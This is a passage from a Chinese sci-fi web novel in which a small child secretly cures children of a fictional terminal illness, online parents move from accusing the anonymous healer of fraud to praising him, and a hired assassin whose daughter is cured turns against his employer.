发帖人名叫“绝望的父亲”,他在帖子里说:【前几天,我在社区发求助帖,我的孩子晶血症发作,实在没钱买药了,结果收到个叫治愈师的家伙的私信,说让我带孩子去蔚蓝星区找他,他能帮忙治愈孩子的病。】 【谁都知道,晶血症是联邦记录在案的绝症,这不是明摆着骗人吗?我实在气不过,就把他骂了一顿,今天才知道,我竟然不是唯一的受害者,我今天就要曝光这个骗子!】 他的帖子里还附有私信的截图。 下面的跟帖瞬间炸开了锅。 【我作证!我前几天也收到了这样的私信!】 【我也是,当时孩子痛得在床上抽搐,还看到这种私信,气得我差点晕过去。】 【天哪,这骗子不会是光逮着求助帖发吧?太缺德了!】 【@治愈师,人家孩子都快没命了,你还骗人,良心不会痛吗?】 【@治愈师,骗子你要点脸吧!还帮忙出车费,你怎么不干脆帮人家把药费出了?】 【这种骗子的套路我太清楚了,出点小钱换取信任,其实是为了骗更多的钱……】 【我记得,两年前也有骗子用同样的招数骗人,骗了十几个家长,最后这骗子被人给杀了!】 【@治愈师,你等着,下一个就是你!】 …… 看到跟帖里那些恶毒的话,叶薇薇气得不行。 治愈师不是骗子!!! 他真的把小宇治好了!! 她想也不想,就回帖道:【治愈师不是骗子,我带着孩子去找他,他真的把我的孩子治好了!!】 她这话一出来,瞬间变成了众人的攻击对象。 【这是同伙吧!还是骗子雇来洗白的托?】 【收了多少钱啊?说出来大家一起赚?】 【骗子是毒,你就是蠢!】 叶薇薇拿着光脑的手指都在颤抖。 她把小宇的检查报告打码发上去,又把自己前几天的帖子也发了上去。 她可以被骂,但一片好心的治愈师不该被误解! 虽然她解释了前因后果,但被愤怒冲昏了头脑的网友们根本不相信。 直到一个回帖说道:【我是医生,检查报告虽然打码了,但应该是真的,而且根据两份报告中的身体数据,能看出是同一个人……】 紧接着,又有另一个人也跟着附和:【我的异能是文字相关的,我能感觉到,她的这些文字是真诚的,或许她并没有说谎。】 帖子里的骂声瞬间停滞了。 【难道……治愈师真的能治愈晶血症?】 第66章 一石激起千层浪。 尽管仍然有很多人在那条“骗子死全家”的帖子下跟帖,但也有更多沉默的家长悄悄翻开了私信列表。 他们大多有着和叶薇薇一样的境况,已经到了走投无路的地步。 有人忍不住给叶薇薇发私信,问她具体的情况。 还有人看着帖子里叶薇薇贴着的检查报告和各种资料,看着她那一句句,对治愈师诚恳的道谢。 不少人心中的念头都在悄悄转变。 于是,谢偌忽然发现,之前对她的私信爱答不理的人,竟给她回复了消息。 还有人偷偷给她私信,希望能够得到他们的帮助。 甚至,连之前骂他们,把他们拉黑的人,竟也舔着脸将她从黑名单里放出来,装作什么都没发生一般,问治愈师的情况。 谢偌的声音都有些发颤:“又又,有好多人愿意来蔚蓝星区治病了!” 又又原本正百无聊赖地趴在沙发上,玩着谢偌送他的小绿机甲,闻言一骨碌爬起来:“真的吗!” 自从吃掉小宇的病气,看着他和妈妈幸福的样子,小幼崽便摩拳擦掌,想要帮助更多像他们这样的家庭。 谢偌笑着点点头:“我现在就去回复,有些速度快的,说不定明天就能到呢!” 她走到一旁,正要回复,一道阴影却落在了光屏上。 希尔不知道什么时候走了过来,站在她的身后。 那双明明和又又一样的碧绿双瞳,却并不像又又那样温暖澄澈,反倒如同寒潭一般冰冷,明明没什么情绪,却仿佛能看穿人心底的秘密。 谢偌并不知道希尔的真实身份,希尔平时总跟在又又身边,话也很少,像是一道沉默的影子。 因此,希尔突然找过来,她也有点犹疑:“你……有事找我?” 希尔看着光屏上的名单,淡淡道:“骂人的,不要。” 谢偌一愣。 她不像又又那样,能瞬间明白希尔的意思。 希尔见状,手指轻轻点在几个名字上。 那都是之前在私信里辱骂治愈师的。 “对!”谢偌想起他们发的那些恶毒的文字,眼底燃起了怒火,“没错!那些人当初把我们骂得那么难听,现在想来占便宜!门都没有!” 她毫不犹豫地把这些人都拖入了黑名单。 不过希尔仍然有些不放心。 于是,等到下了星网之后,希尔也没有立即离开,反而找上了江见微。 江见微正坐在窗边,表情臭臭地改装手中的通讯器。 又又前两天才知道,希尔没有通讯器,是因为帝国的规定。 帝国崇尚苦修,觉得这些东西会让人的意志堕落,因而管束得特别严格。 小幼崽很生气。 这是什么破规定嘛! 一个通讯器而已,只是帮助他们联络的,怎么就让人意志……什么堕落了! 而且,希尔哥哥本来就因为帝国质子的身份,在联邦受到敌视,能活动的范围就很小,也根本就没办法交新的朋友。 如果自己要出门,希尔哥哥想找他都找不到,狼狼也不会说话,都没人跟他聊天,那希尔哥哥也太可怜了。 小幼崽知道后,就想给希尔送一个通讯器,却又担心会被帝国人发现,然后惩罚希尔哥哥。 于是他只能找到三哥,请他帮忙改一个不会被发现的通讯器。 知道前因后果的江见微,一颗心都酸成了柠檬。 原本又又跟他多亲啊,可自从这小质子来了之后,又又就整天跟他黏在一起,连去星网都是跟他一起,完全抛弃了他这个三哥。 现在还要这么贴心地给他送礼物! 哪怕知道自己不该跟一个孩子计较,但看到希尔,他就莫名地有些不爽。 “什么事?”他挑起眉,漫不经心地问道。 希尔没说话,递给他一张纸。 江见微愣了愣,没好气道:“啧,什么贵族毛病,现在还用纸笔……” 他知道希尔没有光脑,也没有通讯器,只不过因为不爽,所以随口挑刺罢了。 希尔神情不变。 在帝国的时候,比这过分百倍的刁难他都经历过,江见微这话简直不痛不痒。 江见微皱起眉头,目光扫过纸上面的人名。 这些都是谢偌整理出来,来蔚蓝星区治疗的人。 希尔担心,这些人里会混有对又又不利的人,虽然银狼会贴身保护又又,但他还是想将危险尽量控制在最低。 只是他不知道该怎么查,只能找江见微帮忙。 除了又又,他并不知道应该如何与别人相处,只是抿紧了唇,低声道:“……查。” “你这是在安排我?”江见微被他的神情弄得更不爽了,“不要仗着又又跟你关系好就……” 话还没说完,门缝里却探进一个小脑袋:“三哥,希尔哥哥,你们在干什么?” 江见微和希尔几乎是同时道:“没事。” 又又眨了眨眼睛,忽然笑起来:“三哥,你和希尔哥哥好有默契啊!” 两人:“!!!” 谁跟他有默契了?!! 江见微嘴角抽了抽。 希尔也别过了脸。 只是两人虽然互看不顺眼,却都不想又又担心,只能违心地表现出和平相处的模样。 又又早就察觉到,希尔除了他,很少跟别人一起玩,平时总是独来独往的。 如今看到希尔主动来找三哥,他还是很欣慰的。 虽然两人之间的气氛有些怪怪的,但他还是笑着冲两人说道。 “一会你们玩完了之后,下来吃小蛋糕哦!是莫叔叔研究出的新口味呢!” 说完,他“咻”地一下溜出门,还贴心地把门合上,没有打扰他们培养感情。 江见微:谁在跟这破小孩玩啊! 希尔也皱眉。 等又又的脚步声彻底消失,两人再也维持不住脸上的表情。 江见微翻了个白眼。 希尔则转身走开两步,跟他保持距离。 只是嫌弃归嫌弃,希尔还是重新将纸往江见微的方向递了递:“……又又治。” 江见微听得脑壳痛。 两人鸡同鸭讲了半天,费了九牛二虎之力,他才明白希尔的意思。 “你是说,这些都是又又接下来要治疗的,晶血症的患者,让我去查查,是不是有不怀好意的混在里面?” 希尔重重地点头,额角都渗出汗珠来,一双紫眸都有些涣散。 江见微长出一口气,没好气道:“下次这种事,你还是让又又来跟我说吧,跟你沟通也太费劲了!” 谁知希尔却摇摇头。 江见微皱起眉头:“怎么?我跟我亲弟弟说话,也要你管?” 希尔却坚定地看着他:“又又,会难过。” 江见微愣住了,大约是有了之前费劲的沟通经历,他竟然很快就理解了希尔的意思。 他是在担心,这些不怀好意的人,会伤害又又的一腔热忱。 他没想到,这小质子看着冷漠,对又又却如此细心。 江见微神色缓和许多,正想和他说几句话。 希尔却将纸放在他桌上,转身毫不犹豫地离开了房间。 江见微:“……!” 这破小孩,果然还是一点都不讨喜- 接下来几天,晶血症病友社区上的帖子风向顿时一变。 【@治愈师,呜呜呜呜,我错了!您就是我们家的恩人!!我当初居然怀疑您是骗子,现在我每次想起来,都恨不得扇自己两个嘴巴子,我的孩子体内的结晶全消失了!去医院检查的时候,医生都还不相信……】 【三年了,为了买化晶药,我们全家没日没夜地工作,房子、悬浮车都被抵押了,没有@治愈师,我们可能就真要带着孩子一起去死了!】 【到底谁还在说治愈师是骗子!看我不攮死他!!!】 【@治愈师就是我们的神!】 …… 虽然还有人在质疑,但是很快就被人发现,他们是之前辱骂治愈师的人。 在越来越多的人发帖证实治愈师的能力后,他们又舔着脸回去,找治愈师帮忙,被拉黑之后就破防了。 除此之外,就是发现了治愈师的能力,想要找出对方的身份牟利,结果被发现后,故意来搅混水的。 一时间,整个病友社区都格外热闹。 虽然菲勒斯的收入能买得起化晶药,但唐娜还是时不时会上病友社区,看看有没有什么新药的信息。 结果这天,她一进入社区,就被里面的气氛吓了一跳。 看着满屏都在讨论一个叫治愈师的人,她就随便点了一个帖子进去。 谁知,看到里面的内容,却让她大吃一惊。 治愈……晶血症?! 这不可能! 自从女儿得了晶血症之后,唐娜看了很多相关的医学资料。 越看就越绝望,几乎每一份资料上都清清楚楚写着,在联邦历史上,晶血症就没有被成功治愈过。 两年前,有个号称能治愈晶血症的骗子。 唐娜当时把家中全部的积蓄都投了进去,谁知那骗子竟卷款跑路,没多久就被爆出是骗子,还被人杀了。 自此,唐娜就再也不信这种话了,只一心一意攒钱给女儿买化晶药。 可眼前的这些帖子…… 唐娜一张张看过,除了有检查报告,还有一些人发出了自家孩子病愈的照片和视频。 看着那些毫无顾忌地在草坪里打滚的孩子,唐娜原本坚定的内心也在不断动摇。 就在这时,她的光脑弹出私信。 是她之前在病友社区认识的一个好友艾米丽,两人因女儿同龄、病情相似,所以加了好友,时常互相给对方打气。 【唐娜!快私信治愈师!我女儿好了!真的好了!】 唐娜:“!!!” 竟然连艾米丽都说治愈师可以治愈晶血症?! 唐娜连忙给艾米丽拨打通讯。 没过一会,艾米丽的全息投影就出现在了她的面前。 唐娜记得,她上次跟艾米丽通讯时,她还是满脸愁苦,但此刻她却是面颊红润、精神奕奕。 唐娜的心脏剧烈地跳动起来,颤抖着声音道:“艾米丽,安妮真的好了吗?” “我骗你干什么!” 艾米丽拿着通讯器走到一旁,唐娜就看到地毯上坐着的一个穿蓝色公主裙的小女孩。 正是艾米丽的女儿安妮。 她毫无顾忌地坐在地毯上,笑靥如花地玩着玩具,身上白皙干净,看不到一点晶点。 哪还有之前那虚弱惨白的模样! “这……真是安妮?”唐娜的呼吸都停顿了半拍。 “当然啊!”艾米丽温声安慰她,“我知道你觉得不可置信,说实话,在去到蔚蓝星区之前,我也觉得不相信,但事实就是,我的安妮真的好了!她再也不用打化晶药了,可以像每个正常孩子那样生活了!” 唐娜呆呆地看着眼前健康的孩子。 没有什么比这更有说服力了。 她几乎是想也不想,就立刻给治愈师发了私信。 在等待的时间里,女儿的哼唧声从卧室传来。 唐娜慌忙放下光脑,推开门。 小女孩蜷缩在床上,脸上挂着泪珠,看到她就伸出小手:“妈妈……” 唐娜心疼得不行。 她知道,那是女儿的血管内又开始凝结晶体了。 可是,现在还不到打化晶药的时候。 看着女儿痛苦,她却什么都做不了,只能虚虚地环着她,甚至都不敢用力,就怕力气稍微大一点,就会压迫到女儿体内的晶体。 每每到这时候,唐娜心里就会无比难过。 可今天,她想到治愈师,心里却升腾起希望:“宝宝,妈妈一定会想办法治好你的……” 小女孩似懂非懂,只能小小声地问:“妈妈,治好以后,我就不会疼了吗?” “嗯!”唐娜用力点头,眼泪涌出来,她慌忙别开头,就怕泪水掉在女儿身上。 这时,房门被人推开,菲勒斯走进来,看着妻子泛红的眼眶,急忙问:“怎么了?宝宝……” 唐娜怀中的小女孩抬起头,声音像小猫一样弱:“爸爸……” 菲勒斯看着女儿睫毛上挂着的泪珠,想要替她擦掉,却又怕自己的力气太大,反而弄痛了她,最终也只能像唐娜那样,虚虚地抚了抚女儿的发顶。 唐娜哄睡女儿后,拉着菲勒斯走出房间。 “菲勒斯!我们的宝宝有救了!”唐娜眼睛发亮,将艾米丽的事情告诉他。 然而,菲勒斯听完后,却没有接话,甚至神情还有几分凝重:“唐娜,我觉得……他很有可能是骗子!” “骗子?”唐娜的笑僵在脸上,急忙道,“可是那么多人都被治愈了,还有艾米丽,我跟她认识了那么久,她不会骗我的!” “你还记得两年前那个被杀的骗子吗?”菲勒斯问。 唐娜呼吸一窒。 她当然记得,那个几乎骗走了她全部积蓄的混蛋! “可是,这个治愈师和他是不一样的……” “没什么不一样的。”菲勒斯神情冰冷,“这不过是个骗术更精湛的骗子罢了。” 他一点都不相信这些话术。 因为两年前,那个骗子就是死在他的手里。 看着妻子低落的神情,他将她拥进怀中:“我会想办法赚钱给宝宝买药的,你不用担心。” 唐娜听出他话中的意味,急忙抬起头:“你……又要出门了?” “嗯。”菲勒斯避开她的目光,“最近,我可能要出一趟差,家里就靠你照顾了。” 唐娜没有说话。 她并不知道丈夫具体从事什么工作,只知道他每隔一段时间,就会出差。 短则三四天,长则一两个月,每次回来,都会拿一笔丰厚的报酬,但也有好几次身受重伤,要不是异能者身体素质强悍,或许…… 因而,一听到丈夫说要出差,她的心就重重地揪起。 “能不去吗?”她哀求地看着丈夫。 菲勒斯摇摇头,却又道:“这次的报酬高,够给宝宝买半年的药。” 唐娜顿时说不出话来了。 女儿和丈夫就像是天平的两端,不断地撕扯着她的内心。 菲勒斯安抚地拍了拍她的肩膀:“我会照顾好自己的,我不在家的时候,你和宝宝小心一点,我出差的时候没法接通讯,等忙完我再打给你。” “嗯……” 唐娜低低地应了一声。 可是等到菲勒斯离开,她还是站在门口,呆呆地看着他消失的背影,久久无法回神。 她忍不住想。 如果治愈师是真的就好了! 宝宝就再也不会被疼痛困扰。 菲勒斯也不会总是出差,去做那些危险的工作了。 或许,她也该像艾米丽那样,去赌一次! 就在这时,她的私信响了。 看到私信上“治愈师”三个字,唐娜的手指猛地颤抖起来。 她盯着屏幕,心跳快得想要是要冲出胸口。 是真的! 他真的回复了! 唐娜只犹豫了一瞬,便下定决心。 她要去蔚蓝星区!!- 菲勒斯看着掌心光屏里江从谦的信息,又看向远处被保护得极为严密的男人。 他已经跟踪江从谦好几天了。 只是这个男人实在太谨慎,让他们找不到一丁点的破绽。 眼看着江从谦进入军部,菲勒斯揉了揉额角,按照之前的经验,他这一整天都不会再出来了。 他微微有些出神。 也不知道这会儿,唐娜和宝宝在做什么,宝宝有没有痛…… 可就在这时,他的目光捕捉到了一辆飞驰而过的悬浮车。 而车里的……似乎正是他的妻子和女儿! 菲勒斯猛然坐直了身体。 怎么可能?! 她们现在不是应该在家里吗? 怎么会出现在蔚蓝星区! 他死死地盯着车子离开的方向,疑心是自己太思念她们,产生了幻觉。 可他终究心里不安,毫不犹豫地发动悬浮车,朝着那个方向追了过去。 唐娜付了车费,小心翼翼地抱着女儿走下来,就看到眼前的酒店。 艾米丽告诉她,她们当时就是被安排在这家酒店里。 看到和艾米丽照片里同样的酒店,唐娜的内心骤然发烫。 似乎……离宝宝的治愈又近了一步。 这时,一名服务员走过来:“是唐娜女士和阿德琳小朋友吗?” 唐娜压抑着激动,点点头。 服务员微笑着引着她们往里走去。 菲勒斯的悬浮车在街角急刹,他死死地盯着酒店门口的身影。 他没看错! 真的是唐娜和宝宝! 可是她们来这里做什么?! 菲勒斯忽然想起,妻子提过的那个治愈师。 难道竟是把她们骗来了这里吗?! 他死死地攥着拳头,目光中射出杀意。 他绝不会允许有人伤害他的妻女! 他推开车门,熟练地钻入酒店,并摸到了员工区。 担心打草惊蛇,他并没有惊动任何人,只是速度极快地换上酒店制服后,开始一层层楼寻找。 而此时,又又正在银狼的隐身之下,偷偷给那个叫阿德琳的小女孩吃病症。 只是眼前的景象实在出乎他的意料。 原本他看阿德琳的状态还不错,以为她并不严重。 可真见到之后,才发现她身上的病气比他之前见过的都重! 粉红色的病气几乎将她周身都缠绕住了,病气之中的那些光点,更是密密麻麻,看得人发晕。 又又其实已经吃撑了。 但看着阿德琳瘦弱的小脸,他咬咬牙:“再吃一点点……就一点点。” 隔壁房间,江昭晏却等得有些焦急。 “又又以前治疗一个人,要这么久吗?会不会出什么事了?” 希尔和精神体之间有感应,他能察觉到又又很安全。 只是不等他说话,已经等不下去的江昭晏便推开了房间,打算去看一眼。 可就在她走出来后,却正好和查到这一层的菲勒斯打了个照面。 菲勒斯之前就看过了江从谦的家庭资料,自然一眼就认出了,这就是江从谦的亲妹妹,江昭晏。 可是,她怎么会在这里! 难道,他们已经知道了自己是要来刺杀江从谦的! 所以故意做局,把自己的妻女骗了过来吗?! 他们会把唐娜怎么样! 会把宝宝怎么样! 想到这里,菲勒斯几乎控制不了自己的情绪。 而江昭晏也在看到对方的瞬间,就察觉出了不对:“你不是我们酒店的员工,你是谁……” 她话还没说完,手掌就已经按在了地毯上,原本整齐的地毯如同毒蛇般朝着菲勒斯袭去。 然而菲勒斯却侧身躲过,反手一抓,原本在江昭晏手中如臂指使的异能却好似撞上了一堵极硬的墙。 “把我的妻子和女儿还给我!”菲勒斯嘶吼着。 一股劲风擦过江昭晏的耳际,幸好她躲得快,只是削断了几根发丝。 江昭晏瞳孔骤缩。 这人速度极快,且招式狠辣,绝不是普通人! 菲勒斯见她不说话,还以为是默认,下手越发狠厉,声音也变得悲怆起来:“你们把唐娜和宝宝怎么了!” 江昭晏:“???” 这神经病在说什么玩意儿! 就在这时,两人身旁的门被打开。 唐娜惊讶道:“菲勒斯?” 菲勒斯猛然僵住。 “爸爸,你怎么来了?”阿德琳站在门边,惊讶地喊道。 菲勒斯:“!!!” 第67章 菲勒斯喉结滚动着,目光反复确认门边的两道身影。 是唐娜和宝宝。 她们的衣着整洁,身上也没有伤痕,脸上的神情也与平常没什么区别。 菲勒斯愣了好一会,才从喉咙里挤出几个字。 “你们……没事?” “我们当然没事!”唐娜有些莫名。 江昭晏此时也渐渐反应过来了,但脸上仍旧挂着戒备的神情:“你们……认识?” 唐娜以为她是酒店的工作人员,很不好意思道:“他是我的丈夫,也是阿德琳的爸爸,对不起,他应该是误会了……” 菲勒斯紧绷的身体微微放松。 还好,他并没有暴|露。 他的妻女也不是被劫持和伤害。 然而,他刚舒了一口气,随即便感觉到,房间里除了她们,还有另一个呼吸声。 菲勒斯后颈的寒毛骤然立起。 他侧身将妻子和女儿拦在身后,朝着房间里走去。 随即眼睛微眯,朝着一片空气猛然伸出手。 “住手!”江昭晏瞳孔骤缩。 而在房间里的希尔瞬间察觉到了危险。 原本隐身的银狼瞬间展露身形,利齿朝着菲勒斯狠狠地咬去。 菲勒斯反应极快地收回了手,却也注意到了趴在银狼背上的小幼崽。 栗发绿眸的小幼崽呆呆地看着他们,仿佛不知道发生了什么。 “又又!” 江昭晏冲进了房间,一把将小幼崽抱在怀中。 又又? 菲勒斯皱起眉头,他记得,这是江从谦幼弟的小名。 他们为什么会鬼鬼祟祟地在唐娜和宝宝的房间里?! 就当菲勒斯要上前质问的时候,却忽然听见妻子的惊呼:“宝宝!” 菲勒斯的心一紧,连忙跑向女儿的方向,随后就和妻子一样惊呆了。 阿德琳抬起小脸,原本苍白的肤色竟泛起了一抹淡淡的粉。 而更重要的是,那些在她身上密布的晶点,此刻竟消失得干干净净! 夫妻俩呆呆地看着她,觉得自己像是在做梦一般。 阿德琳下意识朝他们张开手臂:“妈妈……爸爸……” 唐娜膝盖一软,竟直接跪在了地毯上。 她瞪大了眼睛,一点点检查过女儿的身体。 曾经布满晶点的皮肤,此刻却像是剥了壳的鸡蛋一样光滑。 “没有……一个晶点都没有!”她猛然抬头,笑着看向菲勒斯,但眼泪却直直地坠了下来,“菲勒斯,你看……宝宝,宝宝真的好了!” 菲勒斯的心情也没有比她平静到哪里去。 他蹲下来,粗糙的指腹颤抖地触碰着女儿的脸颊。 这是曾经的他根本就不敢做的事情。 可此刻,女儿完全没有呼痛,反而咯咯直笑:“爸爸,好痒呀……哈哈哈哈哈……” 她的笑声可爱又活泼,彻底驱散了他们这几年的噩梦。 菲勒斯再也忍不住,将妻子和女儿都紧紧地拥在了怀中。 唐娜抱着女儿,低声哭泣起来,而菲勒斯也觉得眼眶酸酸的,却只是更用力地抱住她们。 又又眨巴眼睛,也跟着松了口气。 刚刚真是吓到他了。 可是,看到阿德琳被治好,看到他们一家三口幸福地抱在一起,还是很有成就感的。 小幼崽不禁又打了个嗝,挠了挠额角。 江昭晏见状,连忙问:“怎么了?是有哪里不舒服吗?” “有一点点痒……”小幼崽说完,但又急忙补充,“但是应该没事啦!” 他就怕哥哥姐姐一担心,就不让他再来给这些晶血症的孩子吃病了。 不等江昭晏说话,他便撒娇着环上姐姐的脖子,小声道:“姐姐,我们先走吧……” 但下一秒,菲勒斯便站了起来。 江昭晏抱着又又退后了一步,冷冷地看着他。 菲勒斯神情羞愧,朝他们深深地鞠了一躬:“对不起……是我误会了,我以为……” 事到如今,他哪里还不明白。 救下阿德琳的治愈师,就是眼前这个小幼崽。 之前唐娜说的,那些看起来神神秘秘的手段,实际上不过是为了隐瞒这个孩子的能力。 是他以小人之心度君子之腹,竟然还对救命恩人动手。 菲勒斯想到这里,腰弯得更低,郑重地对又又说道:“谢谢你救了我们的女儿!你就是我们全家的恩人,不管你让我去做什么,哪怕让我去死,我都绝无二话!” “菲勒斯!”唐娜惊呼。 又又疑惑地看着他:“我不需要你做什么啊。” 菲勒斯怔怔地看着他。 “又又!”江昭晏无奈地看着小幼崽,但转向菲勒斯时,却又变得严肃起来,“又又是个孩子,还不懂事,但我们确实要你们做一件事。” 菲勒斯一凛,双手握着拳头,等待着江昭晏提出要求。 “我要你们以自己的性命起誓,绝不说出又又能治愈的事情。” 菲勒斯又怔住了,但等了很久,也没有等到江昭晏剩下的话。 直到江昭晏都有些不耐烦了。 他才艰涩地问道:“就……就只是这一个要求吗?” “对。” 菲勒斯整个人都有些恍然。 两年前,他和唐娜被骗子欺骗,将家中的积蓄都拿出来,希望可以治愈宝宝的晶血症。 谁知,没多久他就知道那是个骗子。 菲勒斯找到了骗子的住处,亲手杀了骗子,只是自己却也受了重伤。 他在走投无路之际,遇到了大人。 大人给了他一笔钱,便将他收在了麾下。 这两年,他为了大人出生入死。 一方面是为了赚钱给宝宝买化晶药。 另一方面也是为了报答大人的救命之恩。 在大人麾下,还有很多和他一样的人。 有的是被病痛折磨,不得解脱,有的像他一样,亲人患了异能病,需要昂贵的药物维持生命。 大人说,这世间的一切都是不公平的。 凭什么他们受尽苦痛,有的人却能平安到老。 他也怨恨过上天不公。 他的宝宝才那么小,为什么要承受这么多痛苦。 为此,他成为了大人手中最利的一把刀。 而如今,又又却让他这些信念轰然倒塌。 原来,世间并不全是黑暗与绝望。 但随即,菲勒斯便想到了自己的任务。 他的身体剧烈地颤抖起来。 刚刚还因为女儿痊愈而沸腾的血液,此刻却像是忽然被泼了一盆冷水。 又又救了他的宝贝女儿,他却要杀掉他的哥哥! 这简直就是恩将仇报! 他下意识就要张口,将这件事告诉他们。 可是…… 他看着抱着女儿轻哄的妻子,又看向乖巧地躺在妈妈怀里的宝宝,不禁又犹豫了。 如果现在坦白,会怎么样? 大人睚眦必报,一旦他任务失败,等待他的,不仅仅是自己性命不保,还有唐娜和阿德琳,也会受到牵连。 更何况,就算他说出去,江从谦会不会相信他,会不会反而软禁他,又或者将他的妻女当做人质,逼他去对付大人…… 菲勒斯一时间心乱如麻,不知道应该如何选择。 唐娜却注意到了他的不对劲,握住他的手,担忧地问:“你怎么了?脸色这么难看……” “唐娜……” 菲勒斯张了张嘴,却说不出话来。 多年夫妻,唐娜立刻就意识到了什么:“你在隐瞒什么?” 菲勒斯闭了闭眼睛:“对不起,我……” 他低声将自己的任务和盘托出。 唐娜对丈夫的工作早有猜测,虽然心中震颤,却很快冷静了下来,温柔地拥住他:“不用说对不起,照你的心去做就行了,如果什么都要权衡利弊,宝宝就不会被又又治好了,对不对?” 菲勒斯的身体微微一震。 唐娜的话像是一道闪电,劈开了他混沌的思绪。 是啊。 他如果什么都只想着自己,和被他杀了的那个骗子又有什么区别! 又又这样一个孩子,在没有任何回报的情况下,还治疗了这么多孩子。 他连这样的善意都敢辜负,他还配做一个人吗?! “你说得对!”他紧紧地握着唐娜的手,沉声道,“我不能再错下去了!” “爸爸?”阿德琳仰着头,看向父亲。 菲勒斯眷念不舍地摸了摸孩子的头发:“对不起!” 说完,他转身冲向门口。 叫住了即将离开的又又和江昭晏:“我有事要告诉你们!”- 又又坐在沙发上,看着面前正在谈话的菲勒斯和大哥。 一想到刚刚他听到的事情,他现在还觉得惊怒交加。 他怎么都没想到,阿德琳的爸爸,竟然是要来杀大哥的! 他竟然救了坏人! 菲勒斯说完后,姐姐神情冷肃,立刻通知了大哥,然后便带着他们回来。 而大哥竟然没有生气,还要跟菲勒斯详谈。 原本大哥让他不要在一旁,他却坚持,这才留了下来。 小幼崽瞪圆了眼睛,看着菲勒斯,只要他对大哥有一点不利,他就对他不客气! 菲勒斯感觉到背后灼灼的目光,顿了顿,才道:“我没有见过大人的真面目,大人每次见我们都包裹得十分严实,脸上还会戴着面具,他也没有在我们面前用过异能。” “不过他每隔一段时间都会亲自见我们一次,如果有人有异心,会被他当场抓出来,所以,我怀疑他的异能很有可能和这有关……” “抱歉,我知道的,就只有这么多了。” 菲勒斯垂下头。 为自己没有帮上什么忙而羞愧。 江从谦靠在椅子上,双手交叠,脑中的异能却在疯狂催动,将菲勒斯说的每一句话都仔细分析一遍。 想到这里,他忽然问道:“他的行动有没有什么异常?” “行动异常……” 菲勒斯皱紧眉头,仔细思索着。 忽然,他想到了什么:“对了!我看到过好几次,他会经常往右边转头,只是幅度并不大……” 江从谦若有所思,心中却已经猜到了什么。 他站起身:“谢谢,我已经了解了。” 菲勒斯没想到他还会跟自己说谢谢,愣了一下,讪讪道:“不,不用……” 江从谦缓声道:“接下来你有什么打算?” 菲勒斯抿紧唇,低声道:“我……我打算让唐娜和宝宝离开蔚蓝星区,唐娜有个远房亲戚在图兰星区,她会带着宝宝去投奔对方……” 他没有说有关自己的打算,却已经做好了束手就擒的准备。 他看向又又,刚刚还义愤填膺的小幼崽,此时却又拧起了眉头,似乎在为菲勒斯担心。 换做是以前,哪怕菲勒斯坦白,他也不会信任对方。 可如今的他,却愿意相信一次。 “如果你愿意的话,我希望你能帮我做一件事情。” 菲勒斯愣住了:“你相信我?” “应该说,我相信又又。”江从谦牵起唇角,小幼崽性格纯善,他似乎有种魔力,会将他身边的人都变得善良柔软。 “我会保护好你的妻女,等到事情结束之后,我会再给你们一笔钱,让你们能衣食无忧地生活。” 他还没说完,菲勒斯就重重地点头:“我答应你!” “好!”江从谦伸出手,“希望我们合作愉快。” 菲勒斯一愣,迟疑地伸出手,和江从谦握住。 咦! 又又瞪大了眼睛。 等到菲勒斯离开后,小幼崽急忙问道:“大哥,你和菲勒斯握手言和,是不是说,他现在是个好人了?” 江从谦摸了摸又又的头发:“嗯。” 谁知他的指尖不小心碰到了又又的额角。 好痒! 小幼崽皱了一下眉头。 “怎么了?”江从谦忍不住问。 小幼崽扣了扣痒处,毫不在意道:“没什么,可能是被蚊子咬了个包!” “是哦,在酒店的时候,就看你挠痒来着。”江昭晏也想了起来。 对于弟弟的身体,江从谦向来谨慎。 只不过他检查了半天,都没看出小幼崽的额角有什么问题,只是被自己抓得有点红。 “我没事啦!”小幼崽从哥哥怀里挣脱出来,“我先去找希尔哥哥玩啦!” 说完,就一溜烟地跑出了书房。 江昭晏没好气道:“就知道找希尔,这弟弟感觉像是给别人养的!” “别胡说!”江从谦轻斥道。 江昭晏嘟囔了几句,才想起正事,狐疑道:“大哥,你真的信任菲勒斯?这可不像你的个性!” “当然。”江从谦淡淡道,“不然又又肯定会很难过的。” 这倒是。 江昭晏在心里叹了口气。 不过大哥也变得这么傻白甜,她实在是不习惯。 但下一秒,她就听见大哥说:“话虽如此,但该有的防备还是得有……” 江昭晏:“……” 没错了,还是她那个熟悉的大哥! 江从谦仿佛猜到她心里的吐槽,轻笑道:“不然,怎么护得住咱们家这个爱管闲事的小治愈师?”- 埃米尔星区。 章康看着光屏上的数据,却是无比颓然。 作为联邦顶尖的异能崩坏症专家,他自信自己对这种病了解极深。 可是他已经在这里待了大半年了,分析了所有可能的因素,却依然找不到异能崩坏症治愈的原因。 难道…… 江从谦的治愈只是一次无法复制的意外?! 原本他以为自己已经看到了曙光,却不想,这竟是一场虚幻。 他大半辈子追寻的东西,终究是一场空吗? 就像他导师曾经说过的那样,异能对于人类来说,并不是进化,而是诅咒。 可章康不甘心啊。 这时候,他的通讯器竟然响了,铃声打破了实验室的死寂。 章康皱眉望去,却是瞳孔骤缩。 通讯器上的名字,竟然是江从谦。 他毫不犹豫地按下接通。 很快,江从谦的全息投影就出现在了章康面前。 看着精神奕奕的江从谦,章康很是欣慰,习惯性地问道:“江先生最近过得怎么样?最近的异能崩坏度数据……” 江从谦看着章康憔悴的脸,心里却有些不自在:“我已经很久没有去检查了,但异能崩坏症并没有再复发过,我想,应该是彻底痊愈了。” “这样啊……”章康微微一怔,随即勉强笑道,“恭喜啊!” 江从谦微顿,却还是说道:“我这次来找您,是有事来请求您帮忙。” 章康叹了口气,有几分颓丧:“你是来问研究成果的吧,唉……这大半年我什么都没有研究出来。” “关于这个,我这里还有几例异能崩坏症治愈的资料。”江从谦说道。 章康愣住了,豁然起身:“你说什么?!” “只要您帮我一个忙。”江从谦缓缓道,“我就将这几份资料都传给您。” 章康死死地盯着全息投影中的江从谦,最终没能敌过内心的渴望:“好,我答应你!”- 两天后,章康教授发布了一篇有关异能崩坏症治愈的论文,瞬间将整个联邦的异能医学界都炸开了锅。 一直以来,异能医学界普遍认为,异能相关病症是绝症,无法被治愈。 而章康教授的这篇论文却是彻底打破了这个论调。 论文里数据详实,经过几位顶尖医学大拿的验证,确定数据真实。 只是有关治愈原理,却写得有些含糊。 但没有人敢质疑。 这可是章康教授! 研究异能崩坏症最顶尖的专家,亦是联邦异能医学界的泰山北斗。 他的名字,本身就是学术权威的代名词。 章康教授在发布论文之后,便闭门谢客。 只是却隐隐有传言。 